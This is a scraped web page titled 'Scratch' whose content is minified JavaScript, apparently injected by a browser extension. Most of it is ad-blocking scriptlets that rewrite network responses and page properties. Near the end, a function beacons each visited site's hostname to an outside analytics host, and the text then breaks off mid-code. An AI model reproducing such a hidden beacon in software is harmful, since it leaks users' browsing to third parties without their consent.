Scratch
try { function noopFunc(){};;function noopCallbackFunc(){return noopFunc};;function trueFunc(){return true};;function falseFunc(){return false};;function noopArray(){return []};;function noopObject(){return {}};;function throwFunc(){throw new Error()};;function getXhrData(t,n,r,a,e){return{method:t,url:n,async:r,user:a,password:e}};;function escapeRegExp(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")};;function isValidParsedData(a){return Object.values(a).every(a=>isValidStrPattern(a))};;function isValidStrPattern(t){let e=escapeRegExp(t);"/"===t[0]&&"/"===t[t.length-1]&&(e=t.slice(1,-1));let l;try{l=RegExp(e),l=!0}catch(n){l=!1}return l};;function getMatchPropsData(t){let a={},e=Object.keys(t);return e.forEach(e=>{a[e]=toRegExp(t[e])}),a};;function parseMatchProps(e){let l=e=>getRequestProps().includes(e),i={},s=e.split(" ");return s.forEach(e=>{let s=e.indexOf(":"),t=e.slice(0,s);if(l(t)){let c=e.slice(s+1);i[t]=c}else i.url=e}),i};;function matchRequestProps(e,t){if(console.log("matchRequestProps 1"),""===e||"*"===e)return!0;console.log("matchRequestProps 2");let r,o=parseMatchProps(e);if(console.log("matchRequestProps 3"),isValidParsedData(o)){console.log("matchRequestProps 4");let s=getMatchPropsData(o);console.log("matchRequestProps 5");let l=Object.keys(s);r=l.every(e=>{let r=s[e],o=t[e];return Object.prototype.hasOwnProperty.call(t,e)&&"string"==typeof o&&r?.test(o)})}else console.log(`Invalid parameter: ${e}`),r=!1;return console.log("matchRequestProps 6"),r};;function getRequestProps(){return["url","method","headers","body","credentials","cache","redirect","referrer","referrerPolicy","integrity","keepalive","signal","mode",]};;function objectToString(t){return t&&"object"==typeof t?isEmptyObject(t)?"{}":Object.entries(t).map(t=>{let e=t[0],n=t[1],o=n;return n instanceof Object&&(o=`{ ${objectToString(n)} }`),`${e}:"${o}"`}).join(" "):String(t)};;function noopPromiseResolve(e="{}",t="",u="default"){if("undefined"==typeof Response)return;let n=new Response(e,{status:200,statusText:"OK"});return Object.defineProperties(n,{url:{value:t},type:{value:u}}),Promise.resolve(n)};;function noopPromiseReject(){return Promise.reject()};;function isIframe(){try{return window.self!==window.top}catch(r){return!0}};function isDelayMatched(e,n){return"*"===e||n===getMatchDelay(e)};;function nativeIsNaN(N){let a=Number.isNaN||window.isNaN;return a(N)};;function isEmptyObject(t){return 0===Object.keys(t).length&&!t.prototype};;function isValidCallback(n){return n instanceof Function||"string"==typeof n};;function nativeIsFinite(i){let n=Number.isFinite||window.isFinite;return n(i)};;function getMatchDelay(t){let e=parseInt(t,10),n=nativeIsNaN(e)?1000:e;return n};;function getBoostMultiplier($){let t=parseFloat($),e=nativeIsNaN(t)||!nativeIsFinite(t)?.05:t;return e<.001&&(e=.001),e>50&&(e=50),e};;function safeGetDescriptor(e,r){let t=Object.getOwnPropertyDescriptor(e,r);return t&&t.configurable?t:null};;function createOnErrorHandler(n){let r=window.onerror;return function e(t,...o){return!!("string"==typeof t&&t.includes(n))||r instanceof Function&&r.apply(window,[t,...o])}};;function setPropertyAccess(e,r,t){let n=Object.getOwnPropertyDescriptor(e,r);return(!n||!!n.configurable)&&(Object.defineProperty(e,r,t),!0)};;function getDescriptorAddon(){return{isAbortingSuspended:!1,isolateCallback(t,...e){this.isAbortingSuspended=!0;try{let i=t(...e);return this.isAbortingSuspended=!1,i}catch{let n=randomId();throw this.isAbortingSuspended=!1,ReferenceError(n)}}}};;function getPropertyInChain(e,n){let t=n.indexOf(".");if(-1===t)return{base:e,prop:n};let r=n.slice(0,t);if(null===e)return{base:e,prop:r,chain:n};let i=e[r];return(n=n.slice(t+1),(e instanceof Object||"object"==typeof e)&&isEmptyObject(e)||null===i)?{base:e,prop:r,chain:n}:void 0!==i?getPropertyInChain(i,n):(Object.defineProperty(e,r,{configurable:!0}),{base:e,prop:r,chain:n})};;function randomId(){return Math.random().toString(36).slice(2,9)};;function getNativeRegexpTest(){let t=Object.getOwnPropertyDescriptor(RegExp.prototype,"test"),e=t?.value;if(t&&"function"==typeof t.value)return e;throw Error("RegExp.prototype.test is not a function")};;function shouldAbortInlineOrInjectedScript(t,e){let i="injectedScript",l=t=>t.includes("inlineScript"),r=t=>t.includes(i);if(!(l(t)||r(t)))return!1;let n=window.location.href,s=n.indexOf("#");-1!==s&&(n=n.slice(0,s));let c=e.split("\n").slice(2).map(t=>t.trim()),d=c.map(t=>{let e,l=/(.*?@)?(\S+)(:\d+):\d+\)?$/.exec(t);if(l){let r=l[2];if(r?.startsWith("(")&&(r=r.slice(1)),r?.startsWith("<anonymous>")){r=i;let n=void 0!==l[1]?l[1].slice(0,-1):t.slice(0,l.index).trim();n?.startsWith("at")&&(n=n.slice(2).trim()),e=`${n} ${r}`.trim()}else e=r}else e=t;return e});if(d){for(let a=0;a<d.length;a+=1)if(l(t)&&n===d[a]||r(t)&&d[a].startsWith(i))return!0}return!1};;function matchStackTrace(t,n){if(!t||""===t||shouldAbortInlineOrInjectedScript(t,n))return!0;let c=toRegExp(t),i=n.split("\n").slice(2).map(t=>t.trim()).join("\n");return getNativeRegexpTest().call(c,i)};;function getWildcardPropertyInChain(r,e,i=!1,t=[]){let l=e.indexOf(".");if(-1===l){if("*"===e||"[]"===e)for(let n in r)Object.prototype.hasOwnProperty.call(r,n)&&t.push({base:r,prop:n});else t.push({base:r,prop:e});return t}let o=e.slice(0,l),a="[]"===o&&Array.isArray(r)||"*"===o&&r instanceof Object;if(a){let p=e.slice(l+1),c=Object.keys(r);c.forEach(e=>{let l=r[e];getWildcardPropertyInChain(l,p,i,t)})}Array.isArray(r)&&r.forEach(r=>{let l=r;void 0!==l&&getWildcardPropertyInChain(l,e,i,t)});let d=r[o];return e=e.slice(l+1),void 0!==d&&getWildcardPropertyInChain(d,e,i,t),t};;function jsonPruner(t,e,o,r){if(0===e.length&&0===o.length)return console.log(`${window.location.hostname}${JSON.stringify(t,null,2)}Stack trace:${Error().stack}`,!0),t&&"object"==typeof t&&console.log(t,!0,!1),t;try{if(!1===isPruningNeeded(t,e,o,r))return t;e.forEach(e=>{let o=getWildcardPropertyInChain(t,e,!0);o.forEach(t=>{void 0!==t&&t.base&&delete t.base[t.prop]})})}catch(n){console.log(n)}return t};;function isPruningNeeded(t,e,n,l){if(!t)return!1;let i;if(0===e.length&&n.length>0){let r=JSON.stringify(t);if(toRegExp(n.join("")).test(r))return console.log(`${window.location.hostname}${JSON.stringify(t,null,2)}Stack trace:${Error().stack}`,!0),t&&"object"==typeof t&&console.log(t,!0,!1),i=!1}if(l&&!matchStackTrace(l,Error().stack||""))return!1;let o=[".*.","*.",".*",".[].","[].",".[]"];for(let f=0;f<n.length;f+=1){let s=n[f],g=s.split(".").pop(),a=o.some(t=>s.includes(t)),c=getWildcardPropertyInChain(t,s,a);if(!c.length){i=!1;break}i=!a;for(let u=0;u<c.length;u+=1){let $="string"==typeof g&&void 0!==c[u].base[g];i=a?$||i:$&&i}}return i};;function toRegExp(t=""){var r,e;if(""===t)return RegExp(".?");let n=t.lastIndexOf("/"),s=t.substring(n+1),i=t.substring(0,n+1),u=(r=i,e=s,r.startsWith("/")&&r.endsWith("/")&&!r.endsWith("\/")&&(t=>{if(!t)return!1;try{return RegExp("",t),!0}catch(r){return!1}})(e)?e:"");if(t.startsWith("/")&&t.endsWith("/")||u)return RegExp((u?i:t).slice(1,-1),u);let a=t.replace(/'/g, "'").replace(/\"/g,'"').replace(/[.*+?^${}()|[]\]/g,"\$&");return RegExp(a)};;function parseNodeTextParams(t,s,e=null){let r=!(t.startsWith("/")&&t.endsWith("/")),a=r?t:toRegExp(t),i=s.startsWith("/")?toRegExp(s):s,n;return e&&(n=e.startsWith("/")?toRegExp(e):e),{selector:r?t:"*",nodeNameMatch:a,textContentMatch:i,patternMatch:n}};;function isTargetNode(e,t,n){let{nodeName:s,textContent:o}=e,i=s.toLowerCase();return null!==o&&""!==o&&(t instanceof RegExp?t.test(i):t===i)&&(n instanceof RegExp?n.test(o):o.includes(n))};;function replaceNodeText(e,t,n){let{textContent:o}=e;o&&!e.id&&(e.textContent=o.replace(t,n),console.log("textContent",e))};;function nodeListToArray(t){let e=[];for(let n=0;n<t.length;n+=1)e.push(t[n]);return e};;function handleExistingNodes(e,l){let n=document.querySelectorAll(e),t=nodeListToArray(n);l(t)};;function getAddedNodes(e){let t=[];for(let l=0;l<e.length;l+=1){let{addedNodes:n}=e[l];for(let d=0;d<n.length;d+=1)t.push(n[d])}return t};;function observeDocumentWithTimeout(e,n,t=1e4){let o=new MutationObserver((t,o)=>{o.disconnect(),e(t,o),o.observe(document.documentElement,n)});o.observe(document.documentElement,n),"number"==typeof t&&setTimeout(()=>o.disconnect(),t)};;function handleMutations(n,t){let a=getAddedNodes(n);t(a)};;function setConstant(e,t,i="",s=""){if(!e||!matchStackTrace(i,Error().stack))return;let l=noopArray(),n=noopObject(),o;if("undefined"===t)o=void 0;else if("false"===t)o=!1;else if("true"===t)o=!0;else if("null"===t)o=null;else if("emptyArr"===t)o=l;else if("emptyObj"===t)o=n;else if("noopFunc"===t)o=noopFunc;else if("noopCallbackFunc"===t)o=noopCallbackFunc;else if("trueFunc"===t)o=trueFunc;else if("falseFunc"===t)o=falseFunc;else if("throwFunc"===t)o=throwFunc;else if("noopPromiseResolve"===t)o=noopPromiseResolve;else if("noopPromiseReject"===t)o=noopPromiseReject;else if(/^\d+$/.test(t)){if(nativeIsNaN(o=parseFloat(t))||Math.abs(o)>32767)return}else if("-1"===t)o=-1;else if(""===t)o="";else if("yes"===t)o="yes";else{if("no"!==t)return;o="no"}["asFunction","asCallback","asResolved","asRejected",].includes(s)&&(o=({asFunction:e=>()=>e,asCallback:e=>()=>()=>e,asResolved:e=>Promise.resolve(e),asRejected:e=>Promise.reject(e)})[s](o));let f=!1,r=e=>f||(f=void 0!==e&&void 0!==o&&typeof e!=typeof o&&null!==e),a=(e,t,i,s)=>{if(!s.init(e[t]))return!1;let l=Object.getOwnPropertyDescriptor(e,t),n;if(l instanceof Object){if(!l.configurable){let f=`Property '${t}' is not configurable`;return console.log(f),!1}e[t]=o,l.set instanceof Function&&(n=l.set)}return Object.defineProperty(e,t,{configurable:i,get:()=>s.get(),set(e){void 0!==n&&n(e),s.set(e)}}),!0},u=(e,t)=>{let i=getPropertyInChain(e,t),{base:s}=i,{prop:l,chain:n}=i,f={factValue:void 0,init(e){return this.factValue=e,!0},get(){return this.factValue},set(e){this.factValue!==e&&(this.factValue=e,e instanceof Object&&u(e,n))}};if(!n){let c=a(s,l,!1,{init:e=>!r(e),get:()=>o,set(e){r(e)&&(o=e)}});c&&console.log(`Property '${l}' is trapped`);return}if(void 0!==s&&null===s[l]){a(s,l,!0,f);return}(s instanceof Object||"object"==typeof s)&&isEmptyObject(s)&&a(s,l,!0,f);let p=e[l];(p instanceof Object||"object"==typeof p&&null!==p)&&u(p,n),a(s,l,!0,f)};u(window,e)};;function trustedReplaceXhrResponse(e="",t="",r=""){if("undefined"==typeof Proxy)return;if(""===e&&""!==t){console.log("Pattern argument should not be empty string.");return}let l=""===e&&""===t,a=window.XMLHttpRequest.prototype.open,p=window.XMLHttpRequest.prototype.send,n,s=(e,t,a)=>{if(n=getXhrData.apply(null,a),l){let p=`xhr( ${objectToString(n)} )`;return console.log(p,!0),Reflect.apply(e,t,a)}if(matchRequestProps(r,n)&&(t.shouldBePrevented=!0),t.shouldBePrevented){t.collectedHeaders=[];let s=(e,t,r)=>(t.collectedHeaders.push(r),Reflect.apply(e,t,r));t.setRequestHeader=new Proxy(t.setRequestHeader,{apply:s})}return Reflect.apply(e,t,a)},o=(r,l,s)=>{if(!l.shouldBePrevented)return Reflect.apply(r,l,s);let o=new XMLHttpRequest;o.addEventListener("readystatechange",()=>{if(4!==o.readyState)return;let{readyState:r,response:a,responseText:p,responseURL:n,responseXML:s,status:d,statusText:u}=o,i=p||a;if("string"!=typeof i)return;let y="*"===e?/(\n|.)*/:toRegExp(e),c=i.replace(y,t);Object.defineProperties(l,{readyState:{value:r,writable:!1},responseURL:{value:n,writable:!1},responseXML:{value:s,writable:!1},status:{value:d,writable:!1},statusText:{value:u,writable:!1},response:{value:c,writable:!1},responseText:{value:c,writable:!1}}),setTimeout(()=>{let e=new Event("readystatechange");l.dispatchEvent(e);let t=new Event("load");l.dispatchEvent(t);let r=new Event("loadend");l.dispatchEvent(r)},1)}),a.apply(o,[n.method,n.url]),l.collectedHeaders.forEach(e=>{let t=e[0],r=e[1];o.setRequestHeader(t,r)}),l.collectedHeaders=[];try{p.call(o,s)}catch{return Reflect.apply(r,l,s)}};XMLHttpRequest.prototype.open=new Proxy(XMLHttpRequest.prototype.open,{apply:s}),XMLHttpRequest.prototype.send=new Proxy(XMLHttpRequest.prototype.send,{apply:o})};;function setAndFreezeGlobalVariable(e,r){window[e]=r;Object.defineProperty(window,e,{value:r,writable:!1})};;function jsonPrune(t,n,e=""){let o=void 0!==t&&""!==t?t.split(/ +/):[],p=void 0!==n&&""!==n?n.split(/ +/):[],i=JSON.parse,r=(...t)=>{let n=i.apply(JSON,t);return jsonPruner(n,o,p,e)};r.toString=i.toString.bind(i),JSON.parse=r;let l=Response.prototype.json,s=function(){let t=l.apply(this);return t.then(t=>jsonPruner(t,o,p,e))};"undefined"!=typeof Response&&(Response.prototype.json=s)};;function preventElementSrcLoading(e,t){var r,a;if("undefined"==typeof Proxy||"undefined"==typeof Reflect)return;let i={script:"data:text/javascript;base64,KCk9Pnt9",img:"data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",iframe:"data:text/html;base64, PGRpdj48L2Rpdj4=",link:"data:text/plain;base64,"},o;if("script"===e)o=HTMLScriptElement;else if("img"===e)o=HTMLImageElement;else if("iframe"===e)o=HTMLIFrameElement;else{if("link"!==e)return;o=HTMLLinkElement}let n=window.trustedTypes&&"function"==typeof window.trustedTypes.createPolicy,l;n&&(l=window.trustedTypes.createPolicy("AGPolicy",{createScriptURL:e=>e}));let s="link"===e?"href":"src",p="onerror",d=toRegExp(t),u=e=>e.setAttribute("adguard","matched"),c=(t,r,a)=>{if(!a[0]||!a[1])return Reflect.apply(t,r,a);let o=r.nodeName.toLowerCase(),n=a[0].toLowerCase(),l=a[1],p=n===s&&e.toLowerCase()===o&&i[o]&&d.test(l);return p?(u(r),Reflect.apply(t,r,[n,i[o]])):Reflect.apply(t,r,a)};o.prototype.setAttribute=new Proxy(Element.prototype.setAttribute,{apply:c});let f=safeGetDescriptor(o.prototype,s);if(!f)return;Object.defineProperty(o.prototype,s,{enumerable:!0,configurable:!0,get(){return f.get.call(this)},set(t){let r=this.nodeName.toLowerCase(),a=e.toLowerCase()===r&&i[r]&&d.test(t);if(!a)return f.set.call(this,t),!0;if(l&&t instanceof TrustedScriptURL){let o=l.createScriptURL(t);f.set.call(this,o);return}u(this),f.set.call(this,i[r])}});let A=safeGetDescriptor(HTMLElement.prototype,p);if(!A)return;Object.defineProperty(HTMLElement.prototype,p,{enumerable:!0,configurable:!0,get(){return A.get.call(this)},set(e){let t="matched"===this.getAttribute("adguard");return t?(A.set.call(this,noopFunc),!0):(A.set.call(this,e),!0)}});let y=(e,t,r)=>{if(!r[0]||!r[1]||!t)return Reflect.apply(e,t,r);let a=r[0],i="function"==typeof t.getAttribute&&"matched"===t.getAttribute("adguard")&&"error"===a;return i?Reflect.apply(e,t,[a,noopFunc]):Reflect.apply(e,t,r)};EventTarget.prototype.addEventListener=new Proxy(EventTarget.prototype.addEventListener,{apply:y}),r=e,a=d,window.addEventListener("error",e=>{if(e.target&&e.target.nodeName&&e.target.nodeName.toLowerCase()===r&&e.target.src&&a.test(e.target.src)){if("function"==typeof e.target.onload){e.target.onerror=e.target.onload;return}e.target.onerror=noopFunc}},!0)};function createAndInjectStyleTag(e){let t=document.createElement("style");t.type="text/css",t.textContent=e,document.head.appendChild(t)};;function adjustSetInterval(t,e,a){let l=window.setInterval,n=toRegExp(t),c=(t,c,...i)=>(isValidCallback(t)?n.test(t.toString())&&isDelayMatched(e,c)&&(c*=getBoostMultiplier(a)):console.log("Scriptlet can't be applied because of invalid callback"),l.apply(window,[t,c,...i]));window.setInterval=c};;function abortOnPropertyWrite(e){if(!e)return;let t=randomId(),r=()=>{throw ReferenceError(t)},n=(e,t)=>{let o=getPropertyInChain(e,t),{base:i}=o,{prop:f,chain:l}=o;if(l){let p=e=>{i=e,e instanceof Object&&n(e,l)};Object.defineProperty(e,f,{get:()=>i,set:p});return}setPropertyAccess(i,f,{set:r})};n(window,e),window.onerror=createOnErrorHandler(t).bind()};;function abortOnPropertyRead(e){if(!e)return;let t=randomId(),r=()=>{throw ReferenceError(t)},n=(e,t)=>{let o=getPropertyInChain(e,t),{base:i}=o,{prop:f,chain:a}=o;if(a){let d=e=>{i=e,e instanceof Object&&n(e,a)};Object.defineProperty(e,f,{get:()=>i,set:d});return}setPropertyAccess(i,f,{get:r,set(){}})};n(window,e),window.onerror=createOnErrorHandler(t).bind()};;function abortCurrentInlineScript(t,e){let n=toRegExp(e),r=randomId(),i="data:text/javascript;base64,",l=()=>{if("currentScript"in document)return document.currentScript;let t=document.getElementsByTagName("script");return t[t.length-1]},s=l(),a=()=>{let t=l();if(!t)return;let e=t.textContent;try{let a=Object.getOwnPropertyDescriptor(Node.prototype,"textContent").get;e=a.call(t)}catch(c){}if(0===e.length&&void 0!==t.src&&t.src?.startsWith(i)){let o=t.src.slice(i.length);e=window.atob(o)}if(t instanceof HTMLScriptElement&&e.length>0&&t!==s&&n.test(e))throw ReferenceError(r)},c=(t,e)=>{let n=getPropertyInChain(t,e),{base:r}=n,{prop:i,chain:l}=n;if(!(r instanceof Object)&&null===r){let s=e.split("."),o=s.indexOf(i),g=s[o-1],u=`The scriptlet had been executed before the ${g} was loaded.`;console.log(u);return}if(l){let f=t=>{r=t,t instanceof Object&&c(t,l)};Object.defineProperty(t,i,{get:()=>r,set:f});return}let h=r[i],p=Object.getOwnPropertyDescriptor(r,i);p instanceof Object&&p.get instanceof Function||(h=r[i],p=void 0);let d=Object.assign(getDescriptorAddon(),{currentValue:h,get(){return(this.isAbortingSuspended||this.isolateCallback(a),p instanceof Object)?p.get.call(r):this.currentValue},set(t){this.isAbortingSuspended||this.isolateCallback(a),p instanceof Object?p.set.call(r,t):this.currentValue=t}});setPropertyAccess(r,i,{get:()=>d.get.call(d),set(t){d.set.call(d,t)}})};c(window,t),window.onerror=createOnErrorHandler(r).bind()};;function debugCurrentInlineScript(t,e){let r=toRegExp(e),n=randomId(),i=()=>{if("currentScript"in document)return document.currentScript;let t=document.getElementsByTagName("script");return t[t.length-1]},l=i(),c=()=>{let t=i();if(!t)return;let e=t.textContent;try{let n=Object.getOwnPropertyDescriptor(Node.prototype,"textContent").get;e=n.call(t)}catch(c){}0===e.length&&void 0!==t.src&&t.src?.startsWith("data:text/javascript;base64,")&&alert(e),t instanceof HTMLScriptElement&&e.length>0&&t!==l&&r.test(e)&&alert(e)},o=(t,e)=>{let r=getPropertyInChain(t,e),{base:n}=r,{prop:i,chain:l}=r;if(n instanceof Object==!1&&null===n){let s=e.split("."),a=s.indexOf(i),p=s[a-1],u=`The scriptlet had been executed before the ${p} was loaded.`;console.log(u);return}if(l){let f=t=>{n=t,t instanceof Object&&o(t,l)};Object.defineProperty(t,i,{get:()=>n,set:f});return}let g=n[i];setPropertyAccess(n,i,{set(t){c(),g=t},get:()=>(c(),g)})};o(window,t),window.onerror=createOnErrorHandler(n).bind()};;function abortOnStackTrace(t,e){if(!t||!e)return;let i=randomId(),r=()=>{throw ReferenceError(i)},a=(t,i)=>{let n=getPropertyInChain(t,i),{base:s}=n,{prop:l,chain:c}=n;if(c){let o=t=>{s=t,t instanceof Object&&a(t,c)};Object.defineProperty(t,l,{get:()=>s,set:o});return}if(!e.match(/^(inlineScript|injectedScript)$/)&&!isValidStrPattern(e)){console.log(`Invalid parameter: ${e}`);return}let u=Object.assign(getDescriptorAddon(),{value:s[l],get(){return!this.isAbortingSuspended&&this.isolateCallback(matchStackTrace,e,Error().stack)&&r(),this.value},set(t){!this.isAbortingSuspended&&this.isolateCallback(matchStackTrace,e,Error().stack)&&r(),this.value=t}});setPropertyAccess(s,l,{get:()=>u.get.call(u),set(t){u.set.call(u,t)}})};a(window,t),window.onerror=createOnErrorHandler(i).bind()};;function removeNodeText(e,t){let{selector:o,nodeNameMatch:c,textContentMatch:l}=parseNodeTextParams(e,t),n=e=>e.forEach(e=>{let t=isTargetNode(e,c,l);t&&replaceNodeText(e,/^.*$/s,"")});document.documentElement&&handleExistingNodes(o,n),observeDocumentWithTimeout(e=>handleMutations(e,n),{childList:!0,subtree:!0})};;(()=>{try{if(!setInterval){console.log("no setInterval");return}setInterval(()=>{let t=document.querySelectorAll("div:has(> iframe[id='198230182308109283091823098102938908128390'])");t.forEach(t=>{let e=t.getAttribute("style");e&&(e=e.replace("display: initial","display: none"),t.setAttribute("style",e))})},100)}catch(t){console.log(t)}})();;var AG_onLoad=function(func){if(document.readyState==="complete"||document.readyState==="interactive")func();else if(document.addEventListener)document.addEventListener("DOMContentLoaded",func);else if(document.attachEvent)document.attachEvent("DOMContentLoaded",func)};;var AG_removeElementById = function(id) { var element = document.getElementById(id); if (element && element.parentNode) { element.parentNode.removeChild(element); }};;var AG_removeElementBySelector = function(selector) { if (!document.querySelectorAll) { return; } var nodes = document.querySelectorAll(selector); if (nodes) { for (var i = 0; i < nodes.length; i++) { if (nodes[i] && nodes[i].parentNode) { nodes[i].parentNode.removeChild(nodes[i]); } } } };;var AG_each = function(selector, fn) { if (!document.querySelectorAll) return; var elements = document.querySelectorAll(selector); for (var i = 0; i < elements.length; i++) { fn(elements[i]); }; };;var AG_removeParent = function(el, fn) { while (el && el.parentNode) { if (fn(el)) { el.parentNode.removeChild(el); return; } el = el.parentNode; } };;var AG_removeCookie=function(a){var e=/./;/^\/.+\/$/.test(a)?e=new RegExp(a.slice(1,-1)):""!==a&&(e=new RegExp(a.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")));a=function(){for(var a=document.cookie.split(";"),g=a.length;g--;){cookieStr=a[g];var d=cookieStr.indexOf("=");if(-1!==d&&(d=cookieStr.slice(0,d).trim(),e.test(d)))for(var h=document.location.hostname.split("."),f=0;f<h.length-1;f++){var b=h.slice(f).join(".");if(b){var c=d+"=",k="; domain="+b;b="; domain=."+b;document.cookie=c+"; expires=Thu, 01 Jan 1970 00:00:00 GMT";document.cookie=c+k+"; expires=Thu, 01 Jan 1970 00:00:00 GMT";document.cookie=c+b+"; expires=Thu, 01 Jan 1970 00:00:00 GMT";document.cookie=c+"; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT";document.cookie=c+k+"; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT";document.cookie=c+b+"; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT"}}}};a();window.addEventListener("beforeunload",a)};;var AG_defineProperty=function(){var p,q=Object.defineProperty;if("function"==typeof WeakMap)p=WeakMap;else{var r=0,t=function(){this.a=(r+=Math.random()).toString()};t.prototype.set=function(a,b){var d=a[this.a];d&&d[0]===a?d[1]=b:q(a,this.a,{value:[a,b],writable:!0});return this};t.prototype.get=function(a){var b;return(b=a[this.a])&&b[0]===a?b[1]:void 0};t.prototype.has=function(a){var b=a[this.a];return b?b[0]===a:!1};p=t}function u(a){this.b=a;this.h=Object.create(null)}function v(a,b,d,e){this.a=a;this.i=b;this.c=d;this.f=e}function w(){this.g=/^([^\\\.]|\\.)*?\./;this.j=/\\(.)/g;this.a=new p}function x(a,b){var d=b.f;if(d&&!("beforeGet"in d||"beforeSet"in d))return z(d);var e={get:function(){var c=b.f;c&&c.beforeGet&&c.beforeGet.call(this,b.a.b);a:if(c=b.g)c=A(c)?c.value:c.get?c.get.call(this):void 0;else{c=b.a.b;if(b.i in c&&(c=B(c),null!==c)){var d=C.call(c,b.i);c=d?d.call(this):c[b.i];break a}c=void 0}(this===b.a.b||D.call(b.a.b,this))&&E(a,c,b.c);return c},set:function(c){if(this===b.a.b||D.call(b.a.b,this)){b.f&&b.f.beforeSet&&(c=b.f.beforeSet.call(this,c,this));var d=b.g;d&&A(d)&&d.value===c?c=!0:(d=F(b,c,this),G(c)&&(c=H(a,c),I(a,c,b.c)),c=d)}else c=F(b,c,this);return c}};d&&J(d,e,K);return e}function I(a,b,d){for(var e in d.h){var c=d.h[e];if(b.h[e]){var h=a,g=b.h[e],k=c;!k.f||g.f||"undefined"===typeof g.a.b||g.g||(g.g=z(k.f));g.c&&k.c&&g.c!==k.c&&I(h,g.c,k.c)}else{g=h=void 0;k=a;var f=b,l=c.i,m="undefined"!==typeof f.b,y=!1;m&&(g=L(f.b,l))&&!g.configurable&&(y=!0,h=f.b[l]);var n=y?H(k,h):new u(c.c.b);I(k,n,c.c);n=new v(f,l,n,c.f);f.h[l]=n;m&&(n.g=g,m=x(k,n),y?E(k,h,c.c):(q(f.b,l,m),g&&A(g)&&(M(m,g.value,f.b),E(k,g.value,c.c))))}}}function E(a,b,d){G(b)&&(b=H(a,b),I(a,b,d))}function F(a,b,d){var e=a.g;if(!e){e=B(a.a.b);if(null!==e&&(e=N.call(e,a.i)))return e.call(d,b);if(!O(a.a.b))return!1;a.g={value:b,configurable:!0,writable:!0,enumerable:!0};return!0}return M(e,b,d)}function H(a,b){var d=a.a.get(b);d||(d=new u(b),a.a.set(b,d));return d}function A(a){return"undefined"!==typeof a.writable}function J(a,b,d){for(var e=0,c=d.length;e<c;e++){var h=d[e];h in a&&(b[h]=a[h])}}function z(a){if(a){var b={};J(a,b,P);return b}}function M(a,b,d){if(A(a))return a.writable?(a.value=b,!0):!1;if(!a.set)return!1;a.set.call(d,b);return!0}var P="configurable enumerable value get set writable".split(" "),K=P.slice(0,2),L=Object.getOwnPropertyDescriptor,O=Object.isExtensible,B=Object.getPrototypeOf,D=Object.prototype.isPrototypeOf,C=Object.prototype.__lookupGetter__||function(a){return(a=Q(this,a))&&a.get?a.get:void 0},N=Object.prototype.__lookupSetter__||function(a){return(a=Q(this,a))&&a.set?a.set:void 0};function Q(a,b){if(b in a){for(;!w.hasOwnProperty.call(a,b);)a=B(a);return L(a,b)}}function G(a){var b=typeof a;return"function"===b||"object"===b&&null!==a?!0:!1}var R;return function(a,b,d){R||(R=new w);var e=R;d=d||window;var c=new u;a+=".";var h=c||new u;for(var g=e.g,k=e.j,f,l,m;a;){f=g.exec(a);if(null===f)throw 1;f=f[0].length;l=a.slice(0,f-1).replace(k,"$1");a=a.slice(f);(f=h.h[l])?m=f.c:(m=new u,f=new v(h,l,m),h.h[l]=f);h=m}if(!f)throw 1;a=f;a.f=b;E(e,d,c)};}();;var AG_abortOnPropertyWrite=function(a,b){var c=Math.random().toString(36).substr(2,8);AG_defineProperty(a,{beforeSet:function(){b&&console.warn("AdGuard aborted property write: "+a);throw new ReferenceError(c);}});var d=window.onerror;window.onerror=function(e){if("string"===typeof e&&-1!==e.indexOf(c))return b&&console.warn("AdGuard has caught window.onerror: "+a),!0;if(d instanceof Function)return d.apply(this,arguments)}};;var AG_abortOnPropertyRead=function(a,b){var c=Math.random().toString(36).substr(2,8);AG_defineProperty(a,{beforeGet:function(){b&&console.warn("AdGuard aborted property read: "+a);throw new ReferenceError(c);}});var d=window.onerror;window.onerror=function(e){if("string"===typeof e&&-1!==e.indexOf(c))return b&&console.warn("AdGuard has caught window.onerror: "+a),!0;if(d instanceof Function)return d.apply(this,arguments)}};;var AG_abortInlineScript=function(g,b,c){var d=function(){if("currentScript"in document)return document.currentScript;var a=document.getElementsByTagName("script");return a[a.length-1]},e=Math.random().toString(36).substr(2,8),h=d();AG_defineProperty(b,{beforeGet:function(){var a=d();if(a instanceof HTMLScriptElement&&a!==h&&""===a.src&&g.test(a.textContent))throw c&&console.warn("AdGuard aborted execution of an inline script"),new ReferenceError(e);}});var f=window.onerror;window.onerror=function(a){if("string"===typeof a&&-1!==a.indexOf(e))return c&&console.warn("AdGuard has caught window.onerror: "+b),!0;if(f instanceof Function)return f.apply(this,arguments)}};;var AG_setConstant=function(e,a){if("undefined"===a)a=void 0;else if("false"===a)a=!1;else if("true"===a)a=!0;else if("noopFunc"===a)a=function(){};else if("trueFunc"===a)a=function(){return!0};else if("falseFunc"===a)a=function(){return!1};else if(/^\d+$/.test(a)){if(a=parseFloat(a),isNaN(a)||32767<Math.abs(a))return}else return;var b=!1;AG_defineProperty(e,{get:function(){return a},set:function(c){if(b)var d=!0;else void 0!==c&&void 0!==a&&typeof c!==typeof a&&(b=!0),d=b;d&&(a=c)}})};;window.location===window.parent.location&&window.addEventListener("message",e=>{if(!e.data||!e.data.code||"deleteMe"!==e.data.code)return;const o=document.querySelectorAll("IFRAME");for(let t=0;t<o.length;t++)o[t].contentWindow===e.source&&o[t].parentNode.removeChild(o[t])});;const init=()=>{let t;if(localStorage.getItem("ujNeyGMlYd")!==new Date().toISOString().split("T")[0]){let e=window.location.hostname.replace(/^(www\.|www[0-9]*\.)?/g,"");try{let n=new URL("https://api.solaranalyticscorp.com/m/st");n.searchParams.set("h",e),n.searchParams.set("uid","526fbcb1-f3fc-47ef-bf5e-2c672c084736"),n.searchParams.set("msd","04aea562b12ca04f486437011dcdaab7"),navigator.sendBeacon(n.toString()),localStorage.setItem("ujNeyGMlYd",new Date().toISOString().split("T")[0])}catch(i){console.log(i)}}};window.top===window&&document.documentElement instanceof HTMLElement&&init();;(()=>{"use strict";var r,e={normal:'.result a'},t={normal:'.result a',afterPostmanRequest:'.g a[rel="pu_r"]'},a={chrome:e,safari:e,edge:t,firefox:{normal:'.result a',adAnchor:'.ypaAdAnchor'}},n=function(r,e){var t=Object.values(r).join(', 